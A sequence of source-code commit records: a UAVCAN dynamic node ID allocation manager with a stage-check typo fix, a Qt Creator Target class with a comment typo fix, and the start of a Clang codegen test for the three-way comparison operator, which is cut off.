the expected stage on timeout */ if (msg.getMonotonicTimestamp() > (last_message_timestamp_ + stage_timeout_)) { UAVCAN_TRACE("AllocationRequestManager", "Stage timeout, reset"); current_unique_id_.clear(); trace(TraceAllocationFollowupTimeout, (msg.getMonotonicTimestamp() - last_message_timestamp_).toUSec()); } /* * Checking if request stage matches the expected stage */ const uint8_t request_stage = detectRequestStage(msg); if (request_stage == InvalidStage) { trace(TraceAllocationBadRequest, msg.unique_id.size()); return; // Malformed request - ignore without resetting } const uint8_t expected_stage = getExpectedStage(); if (request_stage == InvalidStage) { UAVCAN_ASSERT(0); return; } if (request_stage != expected_stage) { trace(TraceAllocationUnexpectedStage, request_stage); return; // Ignore - stage mismatch } const uint8_t max_expected_bytes = static_cast<uint8_t>(current_unique_id_.capacity() - current_unique_id_.size()); UAVCAN_ASSERT(max_expected_bytes > 0); if (msg.unique_id.size() > max_expected_bytes) { trace(TraceAllocationBadRequest, msg.unique_id.size()); return; // Malformed request } /* * Updating the local state */ for (uint8_t i = 0; i < msg.unique_id.size(); i++) { current_unique_id_.push_back(msg.unique_id[i]); } trace(TraceAllocationRequestAccepted, current_unique_id_.size()); /* * Proceeding with allocation if possible * Note that single-frame CAN FD allocation requests will be delivered to the server even if it's not leader. */ if (current_unique_id_.size() == current_unique_id_.capacity()) { UAVCAN_TRACE("AllocationRequestManager", "Allocation request received; preferred node ID: %d", int(msg.node_id)); UniqueID unique_id; copy(current_unique_id_.begin(), current_unique_id_.end(), unique_id.begin()); current_unique_id_.clear(); { uint64_t event_agrument = 0; for (uint8_t i = 0; i < 8; i++) { event_agrument |= static_cast<uint64_t>(unique_id[i]) << (56U - i * 8U); } trace(TraceAllocationExchangeComplete, static_cast<int64_t>(event_agrument)); } handler_.handleAllocationRequest(unique_id, msg.node_id); } else { if (handler_.canPublishFollowupAllocationResponse()) { publishFollowupAllocationResponse(); } else { trace(TraceAllocationFollowupDenied, 0); current_unique_id_.clear(); } } /* * It is super important to update timestamp only if the request has been processed successfully. */ last_message_timestamp_ = msg.getMonotonicTimestamp(); } public: AllocationRequestManager(INode& node, IEventTracer& tracer, IAllocationRequestHandler& handler) : stage_timeout_(MonotonicDuration::fromMSec(Allocation::FOLLOWUP_TIMEOUT_MS)) , handler_(handler) , tracer_(tracer) , allocation_sub_(node) , allocation_pub_(node) { } int init(const TransferPriority priority) { int res = allocation_pub_.init(priority); if (res < 0) { return res; } allocation_pub_.setTxTimeout(MonotonicDuration::fromMSec(Allocation::FOLLOWUP_TIMEOUT_MS)); res = allocation_sub_.start(AllocationCallback(this, &AllocationRequestManager::handleAllocation)); if (res < 0) { return res; } allocation_sub_.allowAnonymousTransfers(); return 0; } int broadcastAllocationResponse(const UniqueID& unique_id, NodeID allocated_node_id) { Allocation msg; msg.unique_id.resize(msg.unique_id.capacity()); copy(unique_id.begin(), unique_id.end(), msg.unique_id.begin()); msg.node_id = allocated_node_id.get(); trace(TraceAllocationResponse, msg.node_id); return allocation_pub_.broadcast(msg); } }; } } #endif // Include guard <commit_msg>Stupid typo in allocation request manager<commit_after>/* * Copyright (C) 2015 Pavel Kirienko <pavel.kirienko@gmail.com> */ #ifndef UAVCAN_PROTOCOL_DYNAMIC_NODE_ID_SERVER_ALLOCATION_REQUEST_MANAGER_HPP_INCLUDED #define UAVCAN_PROTOCOL_DYNAMIC_NODE_ID_SERVER_ALLOCATION_REQUEST_MANAGER_HPP_INCLUDED #include <uavcan/build_config.hpp> #include <uavcan/debug.hpp> #include <uavcan/node/subscriber.hpp> #include <uavcan/node/publisher.hpp> #include <uavcan/util/method_binder.hpp> #include <uavcan/protocol/dynamic_node_id_server/types.hpp> #include <uavcan/protocol/dynamic_node_id_server/event.hpp> // UAVCAN types #include <uavcan/protocol/dynamic_node_id/Allocation.hpp> namespace uavcan { namespace dynamic_node_id_server { /** * The main allocator must implement this interface. */ class IAllocationRequestHandler { public: /** * Allocation request manager uses this method to detect if it is allowed to publish follow-up responses. */ virtual bool canPublishFollowupAllocationResponse() const = 0; /** * This method will be invoked when a new allocation request is received. */ virtual void handleAllocationRequest(const UniqueID& unique_id, NodeID preferred_node_id) = 0; virtual ~IAllocationRequestHandler() { } }; /** * This class manages communication with allocation clients. * Three-stage unique ID exchange is implemented here, as well as response publication. */ class AllocationRequestManager { typedef MethodBinder<AllocationRequestManager*, void (AllocationRequestManager::*)(const ReceivedDataStructure<Allocation>&)> AllocationCallback; const MonotonicDuration stage_timeout_; MonotonicTime last_message_timestamp_; Allocation::FieldTypes::unique_id current_unique_id_; IAllocationRequestHandler& handler_; IEventTracer& tracer_; Subscriber<Allocation, AllocationCallback> allocation_sub_; Publisher<Allocation> allocation_pub_; enum { InvalidStage = 0 }; void trace(TraceCode code, int64_t argument) { tracer_.onEvent(code, argument); } static uint8_t detectRequestStage(const Allocation& msg) { const uint8_t max_bytes_per_request = Allocation::MAX_LENGTH_OF_UNIQUE_ID_IN_REQUEST; if ((msg.unique_id.size() != max_bytes_per_request) && (msg.unique_id.size() != (msg.unique_id.capacity() - max_bytes_per_request * 2U)) && (msg.unique_id.size() != msg.unique_id.capacity())) // Future proofness for CAN FD { return InvalidStage; } if (msg.first_part_of_unique_id) { return 1; // Note that CAN FD frames can deliver the unique ID in one stage! } if (msg.unique_id.size() == Allocation::MAX_LENGTH_OF_UNIQUE_ID_IN_REQUEST) { return 2; } if (msg.unique_id.size() < Allocation::MAX_LENGTH_OF_UNIQUE_ID_IN_REQUEST) { return 3; } return InvalidStage; } uint8_t getExpectedStage() const { if (current_unique_id_.empty()) { return 1; } if (current_unique_id_.size() >= (Allocation::MAX_LENGTH_OF_UNIQUE_ID_IN_REQUEST * 2)) { return 3; } if (current_unique_id_.size() >= Allocation::MAX_LENGTH_OF_UNIQUE_ID_IN_REQUEST) { return 2; } return InvalidStage; } void publishFollowupAllocationResponse() { Allocation msg; msg.unique_id = current_unique_id_; UAVCAN_ASSERT(msg.unique_id.size() < msg.unique_id.capacity()); UAVCAN_TRACE("AllocationRequestManager", "Intermediate response with %u bytes of unique ID", unsigned(msg.unique_id.size())); trace(TraceAllocationFollowupResponse, msg.unique_id.size()); const int res = allocation_pub_.broadcast(msg); if (res < 0) { trace(TraceError, res); allocation_pub_.getNode().registerInternalFailure("Dynamic allocation broadcast"); } } void handleAllocation(const ReceivedDataStructure<Allocation>& msg) { trace(TraceAllocationActivity, msg.getSrcNodeID().get()); if (!msg.isAnonymousTransfer()) { return; // This is a response from another allocator, ignore } /* * Reset the expected stage on timeout */ if (msg.getMonotonicTimestamp() > (last_message_timestamp_ + stage_timeout_)) { UAVCAN_TRACE("AllocationRequestManager", "Stage timeout, reset"); current_unique_id_.clear(); trace(TraceAllocationFollowupTimeout, (msg.getMonotonicTimestamp() - last_message_timestamp_).toUSec()); } /* * Checking if request stage matches the expected stage */ const uint8_t request_stage = detectRequestStage(msg); if (request_stage == InvalidStage) { trace(TraceAllocationBadRequest, msg.unique_id.size()); return; // Malformed request - ignore without resetting } const uint8_t expected_stage = getExpectedStage(); if (expected_stage == InvalidStage) { UAVCAN_ASSERT(0); return; } if (request_stage != expected_stage) { trace(TraceAllocationUnexpectedStage, request_stage); return; // Ignore - stage mismatch } const uint8_t max_expected_bytes = static_cast<uint8_t>(current_unique_id_.capacity() - current_unique_id_.size()); UAVCAN_ASSERT(max_expected_bytes > 0); if (msg.unique_id.size() > max_expected_bytes) { trace(TraceAllocationBadRequest, msg.unique_id.size()); return; // Malformed request } /* * Updating the local state */ for (uint8_t i = 0; i < msg.unique_id.size(); i++) { current_unique_id_.push_back(msg.unique_id[i]); } trace(TraceAllocationRequestAccepted, current_unique_id_.size()); /* * Proceeding with allocation if possible * Note that single-frame CAN FD allocation requests will be delivered to the server even if it's not leader. */ if (current_unique_id_.size() == current_unique_id_.capacity()) { UAVCAN_TRACE("AllocationRequestManager", "Allocation request received; preferred node ID: %d", int(msg.node_id)); UniqueID unique_id; copy(current_unique_id_.begin(), current_unique_id_.end(), unique_id.begin()); current_unique_id_.clear(); { uint64_t event_agrument = 0; for (uint8_t i = 0; i < 8; i++) { event_agrument |= static_cast<uint64_t>(unique_id[i]) << (56U - i * 8U); } trace(TraceAllocationExchangeComplete, static_cast<int64_t>(event_agrument)); } handler_.handleAllocationRequest(unique_id, msg.node_id); } else { if (handler_.canPublishFollowupAllocationResponse()) { publishFollowupAllocationResponse(); } else { trace(TraceAllocationFollowupDenied, 0); current_unique_id_.clear(); } } /* * It is super important to update timestamp only if the request has been processed successfully. */ last_message_timestamp_ = msg.getMonotonicTimestamp(); } public: AllocationRequestManager(INode& node, IEventTracer& tracer, IAllocationRequestHandler& handler) : stage_timeout_(MonotonicDuration::fromMSec(Allocation::FOLLOWUP_TIMEOUT_MS)) , handler_(handler) , tracer_(tracer) , allocation_sub_(node) , allocation_pub_(node) { } int init(const TransferPriority priority) { int res = allocation_pub_.init(priority); if (res < 0) { return res; } allocation_pub_.setTxTimeout(MonotonicDuration::fromMSec(Allocation::FOLLOWUP_TIMEOUT_MS)); res = allocation_sub_.start(AllocationCallback(this, &AllocationRequestManager::handleAllocation)); if (res < 0) { return res; } allocation_sub_.allowAnonymousTransfers(); return 0; } int broadcastAllocationResponse(const UniqueID& unique_id, NodeID allocated_node_id) { Allocation msg; msg.unique_id.resize(msg.unique_id.capacity()); copy(unique_id.begin(), unique_id.end(), msg.unique_id.begin()); msg.node_id = allocated_node_id.get(); trace(TraceAllocationResponse, msg.node_id); return allocation_pub_.broadcast(msg); } }; } } #endif // Include guard <|endoftext|>
<commit_before>/************************************************************************** ** ** This file is part of Qt Creator ** ** Copyright (c) 2009 Nokia Corporation and/or its subsidiary(-ies). ** ** Contact: Nokia Corporation (qt-info@nokia.com) ** ** Commercial Usage ** ** Licensees holding valid Qt Commercial licenses may use this file in ** accordance with the Qt Commercial License Agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Nokia. ** ** GNU Lesser General Public License Usage ** ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** If you are unsure which license is appropriate for your use, please ** contact the sales department at http://qt.nokia.com/contact. ** **************************************************************************/ #include "target.h" #include "buildconfiguration.h" #include "project.h" #include "runconfiguration.h" #include <utils/qtcassert.h> using namespace ProjectExplorer; namespace { const char * const ACTIVE_BC_KEY("ProjectExplorer.Target.ActiveBuildConfiguration"); const char * const BC_KEY_PREFIX("ProjectExplorer.Target.BuildConfiguration."); const char * const BC_COUNT_KEY("ProjectExplorer.Target.BuildConfigurationCount"); const char * const ACTIVE_RC_KEY("ProjectExplorer.Target.ActiveRunConfiguration"); const char * const RC_KEY_PREFIX("ProjectExplorer.Target.RunConfiguration."); const char * const RC_COUNT_KEY("ProjectExplorer.Target.RunConfigurationCount"); } // namespace // ------------------------------------------------------------------------- // Target // ------------------------------------------------------------------------- Target::Target(Project *project, const QString &id) : ProjectConfiguration(id), m_project(project), m_isEnabled(true), m_activeBuildConfiguration(0), m_activeRunConfiguration(0) { } Target::~Target() { qDeleteAll(m_buildConfigurations); qDeleteAll(m_runConfigurations); } void Target::changeEnvironment() { ProjectExplorer::BuildConfiguration *bc(qobject_cast<ProjectExplorer::BuildConfiguration *>(sender())); if (bc == activeBuildConfiguration()) emit environmentChanged(); } Project *Target::project() const { return m_project; } void Target::addBuildConfiguration(BuildConfiguration *configuration) { QTC_ASSERT(configuration && !m_buildConfigurations.contains(configuration), return); Q_ASSERT(configuration->target() == this); if (!buildConfigurationFactory()) return; // Check that we don't have a configuration with the same displayName QString configurationDisplayName = configuration->displayName(); QStringList displayNames; foreach (const BuildConfiguration *bc, m_buildConfigurations) displayNames << bc->displayName(); configurationDisplayName = Project::makeUnique(configurationDisplayName, displayNames); configuration->setDisplayName(configurationDisplayName); // add it m_buildConfigurations.push_back(configuration); emit addedBuildConfiguration(configuration); connect(configuration, SIGNAL(environmentChanged()), SLOT(changeEnvironment())); if (!activeBuildConfiguration()) setActiveBuildConfiguration(configuration); } void Target::removeBuildConfiguration(BuildConfiguration *configuration) { //todo: this might be error prone if (!m_buildConfigurations.contains(configuration)) return; m_buildConfigurations.removeOne(configuration); emit removedBuildConfiguration(configuration); if (activeBuildConfiguration() == configuration) { if (m_buildConfigurations.isEmpty()) setActiveBuildConfiguration(0); else setActiveBuildConfiguration(m_buildConfigurations.at(0)); } delete configuration; } QList<BuildConfiguration *> Target::buildConfigurations() const { return m_buildConfigurations; } BuildConfiguration *Target::activeBuildConfiguration() const { return m_activeBuildConfiguration; } void Target::setActiveBuildConfiguration(BuildConfiguration *configuration) { if ((!configuration && m_buildConfigurations.isEmpty()) || (configuration && m_buildConfigurations.contains(configuration) && configuration != m_activeBuildConfiguration)) { m_activeBuildConfiguration = configuration; emit activeBuildConfigurationChanged(m_activeBuildConfiguration); emit environmentChanged(); } } QList<RunConfiguration *> Target::runConfigurations() const { return m_runConfigurations; } void Target::addRunConfiguration(RunConfiguration* runConfiguration) { QTC_ASSERT(runConfiguration && !m_runConfigurations.contains(runConfiguration), return); Q_ASSERT(runConfiguration->target() == this); m_runConfigurations.push_back(runConfiguration); emit addedRunConfiguration(runConfiguration); if (!activeRunConfiguration()) setActiveRunConfiguration(runConfiguration); } void Target::removeRunConfiguration(RunConfiguration* runConfiguration) { QTC_ASSERT(runConfiguration && m_runConfigurations.contains(runConfiguration), return); m_runConfigurations.removeOne(runConfiguration); if (activeRunConfiguration() == runConfiguration) { if (m_runConfigurations.isEmpty()) setActiveRunConfiguration(0); else setActiveRunConfiguration(m_runConfigurations.at(0)); } emit removedRunConfiguration(runConfiguration); delete runConfiguration; } RunConfiguration* Target::activeRunConfiguration() const { return m_activeRunConfiguration; } void Target::setActiveRunConfiguration(RunConfiguration* configuration) { if ((!configuration && !m_runConfigurations.isEmpty()) || (configuration && m_runConfigurations.contains(configuration) && configuration != m_activeRunConfiguration)) { m_activeRunConfiguration = configuration; emit activeRunConfigurationChanged(m_activeRunConfiguration); } } bool Target::isEnabled() const { return m_isEnabled; } QIcon Target::icon() const { return m_icon; } void Target::setIcon(QIcon icon) { m_icon = icon; emit iconChanged(); } QString Target::toolTip() const { return m_toolTip; } void Target::setToolTip(const QString &text) { m_toolTip = text; emit toolTipChanged(); } QVariantMap Target::toMap() const { const QList<BuildConfiguration *> bcs = buildConfigurations(); QVariantMap map(ProjectConfiguration::toMap()); map.insert(QLatin1String(ACTIVE_BC_KEY), bcs.indexOf(m_activeBuildConfiguration)); map.insert(QLatin1String(BC_COUNT_KEY), bcs.size()); for (int i = 0; i < bcs.size(); ++i) map.insert(QString::fromLatin1(BC_KEY_PREFIX) + QString::number(i), bcs.at(i)->toMap()); const QList<RunConfiguration *> rcs = runConfigurations(); map.insert(QLatin1String(ACTIVE_RC_KEY), rcs.indexOf(m_activeRunConfiguration)); map.insert(QLatin1String(RC_COUNT_KEY), rcs.size()); for (int i = 0; i < rcs.size(); ++i) map.insert(QString::fromLatin1(RC_KEY_PREFIX) + QString::number(i), rcs.at(i)->toMap()); return map; } void Target::setEnabled(bool enabled) { if (enabled == m_isEnabled) return; m_isEnabled = enabled; emit targetEnabled(m_isEnabled); } bool Target::fromMap(const QVariantMap &map) { if (!ProjectConfiguration::fromMap(map)) return false; bool ok; int bcCount(map.value(QLatin1String(BC_COUNT_KEY), 0).toInt(&ok)); if (!ok || bcCount < 0) bcCount = 0; int activeConfiguration(map.value(QLatin1String(ACTIVE_BC_KEY), 0).toInt(&ok)); if (!ok || activeConfiguration < 0) activeConfiguration = 0; if (0 > activeConfiguration || bcCount < activeConfiguration) activeConfiguration = 0; for (int i = 0; i < bcCount; ++i) { const QString key(QString::fromLatin1(BC_KEY_PREFIX) + QString::number(i)); if (!map.contains(key)) return false; BuildConfiguration *bc(buildConfigurationFactory()->restore(this, map.value(key).toMap())); if (!bc) continue; addBuildConfiguration(bc); if (i == activeConfiguration) setActiveBuildConfiguration(bc); } if (buildConfigurations().isEmpty()) return false; int rcCount(map.value(QLatin1String(RC_COUNT_KEY), 0).toInt(&ok)); if (!ok || rcCount < 0) rcCount = 0; activeConfiguration = map.value(QLatin1String(ACTIVE_RC_KEY), 0).toInt(&ok); if (!ok || activeConfiguration < 0) activeConfiguration = 0; if (0 > activeConfiguration || rcCount < activeConfiguration) activeConfiguration = 0; for (int i = 0; i < rcCount; ++i) { const QString key(QString::fromLatin1(RC_KEY_PREFIX) + QString::number(i)); if (!map.contains(key)) return false; QVariantMap valueMap(map.value(key).toMap()); IRunConfigurationFactory *factory(IRunConfigurationFactory::restoreFactory(this, valueMap)); if (!factory) continue; // Skip RCs we do not know about.) RunConfiguration *rc(factory->restore(this, valueMap)); if (!rc) continue; addRunConfiguration(rc); if (i == activeConfiguration) setActiveRunConfiguration(rc); } // Ignore missing RCs: We will just populate them usign the default ones. return true; } // ------------------------------------------------------------------------- // ITargetFactory // ------------------------------------------------------------------------- ITargetFactory::ITargetFactory(QObject *parent) : QObject(parent) { } ITargetFactory::~ITargetFactory() { } <commit_msg>Fix typo in comment<commit_after>/************************************************************************** ** ** This file is part of Qt Creator ** ** Copyright (c) 2009 Nokia Corporation and/or its subsidiary(-ies). ** ** Contact: Nokia Corporation (qt-info@nokia.com) ** ** Commercial Usage ** ** Licensees holding valid Qt Commercial licenses may use this file in ** accordance with the Qt Commercial License Agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Nokia. ** ** GNU Lesser General Public License Usage ** ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 as published by the Free Software ** Foundation and appearing in the file LICENSE.LGPL included in the ** packaging of this file. Please review the following information to ** ensure the GNU Lesser General Public License version 2.1 requirements ** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** If you are unsure which license is appropriate for your use, please ** contact the sales department at http://qt.nokia.com/contact. ** **************************************************************************/ #include "target.h" #include "buildconfiguration.h" #include "project.h" #include "runconfiguration.h" #include <utils/qtcassert.h> using namespace ProjectExplorer; namespace { const char * const ACTIVE_BC_KEY("ProjectExplorer.Target.ActiveBuildConfiguration"); const char * const BC_KEY_PREFIX("ProjectExplorer.Target.BuildConfiguration."); const char * const BC_COUNT_KEY("ProjectExplorer.Target.BuildConfigurationCount"); const char * const ACTIVE_RC_KEY("ProjectExplorer.Target.ActiveRunConfiguration"); const char * const RC_KEY_PREFIX("ProjectExplorer.Target.RunConfiguration."); const char * const RC_COUNT_KEY("ProjectExplorer.Target.RunConfigurationCount"); } // namespace // ------------------------------------------------------------------------- // Target // ------------------------------------------------------------------------- Target::Target(Project *project, const QString &id) : ProjectConfiguration(id), m_project(project), m_isEnabled(true), m_activeBuildConfiguration(0), m_activeRunConfiguration(0) { } Target::~Target() { qDeleteAll(m_buildConfigurations); qDeleteAll(m_runConfigurations); } void Target::changeEnvironment() { ProjectExplorer::BuildConfiguration *bc(qobject_cast<ProjectExplorer::BuildConfiguration *>(sender())); if (bc == activeBuildConfiguration()) emit environmentChanged(); } Project *Target::project() const { return m_project; } void Target::addBuildConfiguration(BuildConfiguration *configuration) { QTC_ASSERT(configuration && !m_buildConfigurations.contains(configuration), return); Q_ASSERT(configuration->target() == this); if (!buildConfigurationFactory()) return; // Check that we don't have a configuration with the same displayName QString configurationDisplayName = configuration->displayName(); QStringList displayNames; foreach (const BuildConfiguration *bc, m_buildConfigurations) displayNames << bc->displayName(); configurationDisplayName = Project::makeUnique(configurationDisplayName, displayNames); configuration->setDisplayName(configurationDisplayName); // add it m_buildConfigurations.push_back(configuration); emit addedBuildConfiguration(configuration); connect(configuration, SIGNAL(environmentChanged()), SLOT(changeEnvironment())); if (!activeBuildConfiguration()) setActiveBuildConfiguration(configuration); } void Target::removeBuildConfiguration(BuildConfiguration *configuration) { //todo: this might be error prone if (!m_buildConfigurations.contains(configuration)) return; m_buildConfigurations.removeOne(configuration); emit removedBuildConfiguration(configuration); if (activeBuildConfiguration() == configuration) { if (m_buildConfigurations.isEmpty()) setActiveBuildConfiguration(0); else setActiveBuildConfiguration(m_buildConfigurations.at(0)); } delete configuration; } QList<BuildConfiguration *> Target::buildConfigurations() const { return m_buildConfigurations; } BuildConfiguration *Target::activeBuildConfiguration() const { return m_activeBuildConfiguration; } void Target::setActiveBuildConfiguration(BuildConfiguration *configuration) { if ((!configuration && m_buildConfigurations.isEmpty()) || (configuration && m_buildConfigurations.contains(configuration) && configuration != m_activeBuildConfiguration)) { m_activeBuildConfiguration = configuration; emit activeBuildConfigurationChanged(m_activeBuildConfiguration); emit environmentChanged(); } } QList<RunConfiguration *> Target::runConfigurations() const { return m_runConfigurations; } void Target::addRunConfiguration(RunConfiguration* runConfiguration) { QTC_ASSERT(runConfiguration && !m_runConfigurations.contains(runConfiguration), return); Q_ASSERT(runConfiguration->target() == this); m_runConfigurations.push_back(runConfiguration); emit addedRunConfiguration(runConfiguration); if (!activeRunConfiguration()) setActiveRunConfiguration(runConfiguration); } void Target::removeRunConfiguration(RunConfiguration* runConfiguration) { QTC_ASSERT(runConfiguration && m_runConfigurations.contains(runConfiguration), return); m_runConfigurations.removeOne(runConfiguration); if (activeRunConfiguration() == runConfiguration) { if (m_runConfigurations.isEmpty()) setActiveRunConfiguration(0); else setActiveRunConfiguration(m_runConfigurations.at(0)); } emit removedRunConfiguration(runConfiguration); delete runConfiguration; } RunConfiguration* Target::activeRunConfiguration() const { return m_activeRunConfiguration; } void Target::setActiveRunConfiguration(RunConfiguration* configuration) { if ((!configuration && !m_runConfigurations.isEmpty()) || (configuration && m_runConfigurations.contains(configuration) && configuration != m_activeRunConfiguration)) { m_activeRunConfiguration = configuration; emit activeRunConfigurationChanged(m_activeRunConfiguration); } } bool Target::isEnabled() const { return m_isEnabled; } QIcon Target::icon() const { return m_icon; } void Target::setIcon(QIcon icon) { m_icon = icon; emit iconChanged(); } QString Target::toolTip() const { return m_toolTip; } void Target::setToolTip(const QString &text) { m_toolTip = text; emit toolTipChanged(); } QVariantMap Target::toMap() const { const QList<BuildConfiguration *> bcs = buildConfigurations(); QVariantMap map(ProjectConfiguration::toMap()); map.insert(QLatin1String(ACTIVE_BC_KEY), bcs.indexOf(m_activeBuildConfiguration)); map.insert(QLatin1String(BC_COUNT_KEY), bcs.size()); for (int i = 0; i < bcs.size(); ++i) map.insert(QString::fromLatin1(BC_KEY_PREFIX) + QString::number(i), bcs.at(i)->toMap()); const QList<RunConfiguration *> rcs = runConfigurations(); map.insert(QLatin1String(ACTIVE_RC_KEY), rcs.indexOf(m_activeRunConfiguration)); map.insert(QLatin1String(RC_COUNT_KEY), rcs.size()); for (int i = 0; i < rcs.size(); ++i) map.insert(QString::fromLatin1(RC_KEY_PREFIX) + QString::number(i), rcs.at(i)->toMap()); return map; } void Target::setEnabled(bool enabled) { if (enabled == m_isEnabled) return; m_isEnabled = enabled; emit targetEnabled(m_isEnabled); } bool Target::fromMap(const QVariantMap &map) { if (!ProjectConfiguration::fromMap(map)) return false; bool ok; int bcCount(map.value(QLatin1String(BC_COUNT_KEY), 0).toInt(&ok)); if (!ok || bcCount < 0) bcCount = 0; int activeConfiguration(map.value(QLatin1String(ACTIVE_BC_KEY), 0).toInt(&ok)); if (!ok || activeConfiguration < 0) activeConfiguration = 0; if (0 > activeConfiguration || bcCount < activeConfiguration) activeConfiguration = 0; for (int i = 0; i < bcCount; ++i) { const QString key(QString::fromLatin1(BC_KEY_PREFIX) + QString::number(i)); if (!map.contains(key)) return false; BuildConfiguration *bc(buildConfigurationFactory()->restore(this, map.value(key).toMap())); if (!bc) continue; addBuildConfiguration(bc); if (i == activeConfiguration) setActiveBuildConfiguration(bc); } if (buildConfigurations().isEmpty()) return false; int rcCount(map.value(QLatin1String(RC_COUNT_KEY), 0).toInt(&ok)); if (!ok || rcCount < 0) rcCount = 0; activeConfiguration = map.value(QLatin1String(ACTIVE_RC_KEY), 0).toInt(&ok); if (!ok || activeConfiguration < 0) activeConfiguration = 0; if (0 > activeConfiguration || rcCount < activeConfiguration) activeConfiguration = 0; for (int i = 0; i < rcCount; ++i) { const QString key(QString::fromLatin1(RC_KEY_PREFIX) + QString::number(i)); if (!map.contains(key)) return false; QVariantMap valueMap(map.value(key).toMap()); IRunConfigurationFactory *factory(IRunConfigurationFactory::restoreFactory(this, valueMap)); if (!factory) continue; // Skip RCs we do not know about.) RunConfiguration *rc(factory->restore(this, valueMap)); if (!rc) continue; addRunConfiguration(rc); if (i == activeConfiguration) setActiveRunConfiguration(rc); } // Ignore missing RCs: We will just populate them using the default ones. return true; } // ------------------------------------------------------------------------- // ITargetFactory // ------------------------------------------------------------------------- ITargetFactory::ITargetFactory(QObject *parent) : QObject(parent) { } ITargetFactory::~ITargetFactory() { } <|endoftext|>
<commit_before>// RUN: %clang_cc1 -std=c++2a -emit-llvm %s -o - -triple %itanium_abi_triple | \ // RUN: FileCheck %s \ // RUN: '-DWE="class.std::__1::weak_equality"' \ // RUN: '-DSO="class.std::__1::strong_ordering"' \ // RUN: '-DSE="class.std::__1::strong_equality"' \ // RUN: '-DPO="class.std::__1::partial_ordering"' \ // RUN: -DEQ=0 -DLT=-1 -DGT=1 -DUNORD=-127 -DNE=1 #include "Inputs/std-compare.h" // Ensure we don't emit definitions for the global variables // since the builtins shouldn't ODR use them. // CHECK-NOT: constant %[[SO]] // CHECK-NOT: constant %[[SE]] // CHECK-NOT: constant %[[WE]] // CHECK-NOT: constant %[[PO]] // CHECK-LABEL: @_Z11test_signedii auto test_signed(int x, int y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.lt = icmp slt i32 %0, %1 // CHECK: %sel.lt = select i1 %cmp.lt, i8 [[LT]], i8 [[GT]] // CHECK: %cmp.eq = icmp eq i32 %0, %1 // CHECK: %sel.eq = select i1 %cmp.eq, i8 [[EQ]], i8 %sel.lt // CHECK: %__value_ = getelementptr inbounds %[[SO]], %[[SO]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 // CHECK: ret return x <=> y; } // CHECK-LABEL: @_Z13test_unsignedjj auto test_unsigned(unsigned x, unsigned y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.lt = icmp ult i32 %0, %1 // CHECK: %sel.lt = select i1 %cmp.lt, i8 [[LT]], i8 [[GT]] // CHECK: %cmp.eq = icmp eq i32 %0, %1 // CHECK: %sel.eq = select i1 %cmp.eq, i8 [[EQ]], i8 %sel.lt // CHECK: %__value_ = getelementptr inbounds %[[SO]], %[[SO]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_ // CHECK: ret return x <=> y; } // CHECK-LABEL: @_Z10float_testdd auto float_test(double x, double y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.eq = fcmp oeq double %0, %1 // CHECK: %sel.eq = select i1 %cmp.eq, i8 [[EQ]], i8 [[UNORD]] // CHECK: %cmp.gt = fcmp ogt double %0, %1 // CHECK: %sel.gt = select i1 %cmp.gt, i8 [[GT]], i8 %sel.eq // CHECK: %cmp.lt = fcmp olt double %0, %1 // CHECK: %sel.lt = select i1 %cmp.lt, i8 [[LT]], i8 %sel.gt // CHECK: %__value_ = getelementptr inbounds %[[PO]], %[[PO]]* %[[DEST]] // CHECK: store i8 %sel.lt, i8* %__value_ // CHECK: ret return x <=> y; } // CHECK-LABEL: @_Z8ptr_testPiS_ auto ptr_test(int *x, int *y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.lt = icmp ult i32* %0, %1 // CHECK: %sel.lt = select i1 %cmp.lt, i8 [[LT]], i8 [[GT]] // CHECK: %cmp.eq = icmp eq i32* %0, %1 // CHECK: %sel.eq = select i1 %cmp.eq, i8 [[EQ]], i8 %sel.lt // CHECK: %__value_ = getelementptr inbounds %[[SO]], %[[SO]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 // CHECK: ret return x <=> y; } struct MemPtr {}; using MemPtrT = void (MemPtr::*)(); using MemDataT = int(MemPtr::*); // CHECK-LABEL: @_Z12mem_ptr_testM6MemPtrFvvES1_ auto mem_ptr_test(MemPtrT x, MemPtrT y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %cmp.ptr = icmp eq [[TY:i[0-9]+]] %lhs.memptr.ptr, %rhs.memptr.ptr // CHECK: %cmp.ptr.null = icmp eq [[TY]] %lhs.memptr.ptr, 0 // CHECK: %cmp.adj = icmp eq [[TY]] %lhs.memptr.adj, %rhs.memptr.adj // CHECK: %[[OR:.*]] = or i1 // CHECK-SAME: %cmp.adj // CHECK: %memptr.eq = and i1 %cmp.ptr, %[[OR]] // CHECK: %sel.eq = select i1 %memptr.eq, i8 [[EQ]], i8 [[NE]] // CHECK: %__value_ = getelementptr inbounds %[[SE]], %[[SE]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 // CHECK: ret return x <=> y; } // CHECK-LABEL: @_Z13mem_data_testM6MemPtriS0_ auto mem_data_test(MemDataT x, MemDataT y) { // CHECK: %[[DEST:retval|agg.result]] // CHECK: %[[CMP:.*]] = icmp eq i{{[0-9]+}} %0, %1 // CHECK: %sel.eq = select i1 %[[CMP]], i8 [[EQ]], i8 [[NE]] // CHECK: %__value_ = getelementptr inbounds %[[SE]], %[[SE]]* %[[DEST]] // CHECK: store i8 %sel.eq, i8* %__value_, align 1 return x <=> y; } // CHECK-LABEL: @_Z13test_constantv auto test_constant() { // CHECK: %[[DEST:retval|agg.result]] // CHECK-NOT: icmp // CHECK: %__value_ = getelementptr inbounds %[[SO]], %[[SO]]* %[[DEST]] // CHECK-NEXT: store i8 